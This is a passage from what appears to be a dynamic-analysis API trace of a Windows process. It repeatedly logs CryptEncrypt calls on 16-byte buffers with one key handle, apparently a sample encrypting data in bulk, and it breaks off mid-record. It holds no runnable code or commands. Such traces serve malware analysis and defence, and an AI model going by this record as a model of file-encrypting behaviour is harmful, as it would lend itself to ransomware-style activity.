pdwDataLen=0x3e0d738*=0x10) returned 1 [0115.994] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0115.994] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0115.994] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0115.994] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0115.994] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0115.994] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0115.994] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0115.994] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0115.995] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0115.995] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0115.995] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0115.995] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0115.995] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0115.995] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0115.995] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0115.995] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0115.995] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0115.995] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0115.995] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0115.995] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0115.995] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0115.995] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0115.995] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0115.995] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0115.995] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0115.995] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0115.995] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0115.995] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0115.995] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0115.996] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0115.996] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0115.996] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0115.996] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0115.996] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0115.996] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0115.996] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0115.996] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0115.996] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0115.996] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0115.996] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0115.996] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0115.996] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0115.996] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0115.996] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0115.996] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0115.996] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0115.996] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0115.996] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0115.996] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0115.997] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0115.997] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0115.997] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0115.997] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0115.997] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0115.997] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0115.997] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0115.997] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0115.997] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0115.997] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0115.997] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0115.997] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0115.997] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0115.997] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0115.997] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0115.997] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0115.997] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0115.997] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0115.997] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0115.997] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0115.997] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0115.998] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0115.998] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0115.998] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0115.998] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0115.998] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0115.998] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0115.998] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0115.998] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0115.998] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0115.998] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0115.998] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0115.998] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0115.998] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0115.998] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0115.998] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0115.998] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0115.998] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0115.998] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0115.998] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0115.998] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0115.998] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0115.999] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0115.999] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0115.999] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0115.999] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0115.999] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0115.999] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0115.999] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0115.999] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0115.999] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0115.999] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0115.999] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0115.999] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0115.999] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0115.999] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0115.999] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0115.999] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0115.999] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0115.999] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, 